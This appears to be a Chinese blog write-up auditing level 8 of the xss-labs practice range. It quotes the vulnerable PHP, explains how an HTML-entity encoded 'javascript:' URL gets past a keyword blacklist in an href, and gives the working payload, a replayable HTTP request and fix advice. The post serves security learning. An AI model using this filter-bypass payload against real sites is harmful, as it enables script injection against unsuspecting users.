xss-labs-level8-代码审计报告

24次阅读
没有评论

xss-labs Level8 代码审计报告

目标文件: level8.php | 漏洞类型: 反射型 XSS —— href 中 javascript: 协议注入(HTML 实体绕过关键字过滤) | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径: GET /level8.php?keyword=<payload> → <a href="...">友情链接</a> 伪协议执行


一、漏洞代码定位

level8.php 第 17-32 行:

$str = strtolower($_GET["keyword"]);
$str2 = str_replace("script", "scr_ipt", $str);   // L18
$str3 = str_replace("on", "o_n", $str2);          // L19
$str4 = str_replace("src", "sr_c", $str3);        // L20
$str5 = str_replace("data", "da_ta", $str4);      // L21
$str6 = str_replace("href", "hr_ef", $str5);      // L22
$str7 = str_replace('"', '&quot', $str6);         // L23 双引号→&quot
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">   // L26 此输出点已转义(安全)
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';

echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';  // L32 危险:伪协议 URL 进入 href

漏洞点: L32。用户输入经过滤后进入 <a href="...">。虽然关键字被替换、双引号被转义,但 javascript: 协议本身未被拦死。


二、漏洞原理

  • 过滤了 script/on/src/data/href/双引号,意图是封死脚本注入。但存在两个可利用点:
    1. javascript: 中含 script 子串,str_replace("script","scr_ipt",...) 会把 javascript: 打成 javascr_ipt:(已实测)—— 因此不能直接写 javascript:。
    2. 但可用 HTML 实体编码绕过关键字匹配: 输入 java&#x73;cript:alert(1),过滤检查的是字面量文本,其中没有 script 连续子串(&#x73; 打断),故原样通过;浏览器解析 href 属性时把 &#x73; 解码为 s,得到 javascript:alert(1),点击即执行。
  • 本关无输出编码兜底,href 又不限制 scheme,构成伪协议执行漏洞。

三、利用方式与 Yakit 可重放数据包

Payload(URL 解码后):

?keyword=java&#x73;cript:alert(1)

服务端过滤后原样: java&#x73;cript:alert(1);浏览器解码后 href 为 javascript:alert(1)。点击"友情链接"即弹窗。

Yakit 可重放原始请求:

GET /level8.php?keyword=java%26%23x73%3Bcript:alert(1) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close

注: %26 = &,%23 = #,%3B = ;。若直接在浏览器地址栏粘贴,可发送未编码的 java&#x73;cript:alert(1) 由地址栏自动处理;在 Yakit 中建议用上面的完整编码保证字节一致。

触发方式: 发送后页面渲染出"友情链接",点击该链接 → 执行 alert(1) → 命中通关逻辑跳转 level9。


四、修复建议

$str = $_GET["keyword"] ?? "";
// 1. URL scheme 白名单:只允许 http/https(如业务需要再放开 mailto 等)
$scheme = strtolower((string)parse_url($str, PHP_URL_SCHEME));
if (!in_array($scheme, ["http", "https", ""], true)) {
    $link = "#";                       // 拒绝 javascript:、data:、vbscript: 等
} else {
    $link = $str;
}
// 2. 输出编码
echo '<center><BR><a href="'.htmlspecialchars($link, ENT_QUOTES, 'UTF-8').'">友情链接</a></center>';

要点:

  1. 对进入 URL 的输入做 scheme 白名单校验,这是防伪协议执行的正解;黑名单替换 javascript 永远堵不干净(实体、大小写、unicode 等变体)。
  2. 用 htmlspecialchars ENT_QUOTES 编码输出。
  3. 收紧 CSP navigate-to/script-src,防止内联/伪协议跳转执行。

五、备注

  • 已实测: javascript:alert(1) 会被过滤为 javascr_ipt:alert(1)(不可用);java&#x73;cript:alert(1) 原样通过(可用)。
  • 其他可用的实体写法: java&#115;cript:alert(1)(十进制)、java%73cript(URL 编码在 href 中浏览器也会解码,但注意 % 需 %25 双重编码)等。
  • 教训: HTML 上下文和 URL 上下文是两种不同的编码域,黑名单无法统一防护,须按上下文分别编码 + scheme 白名单。
正文完
 0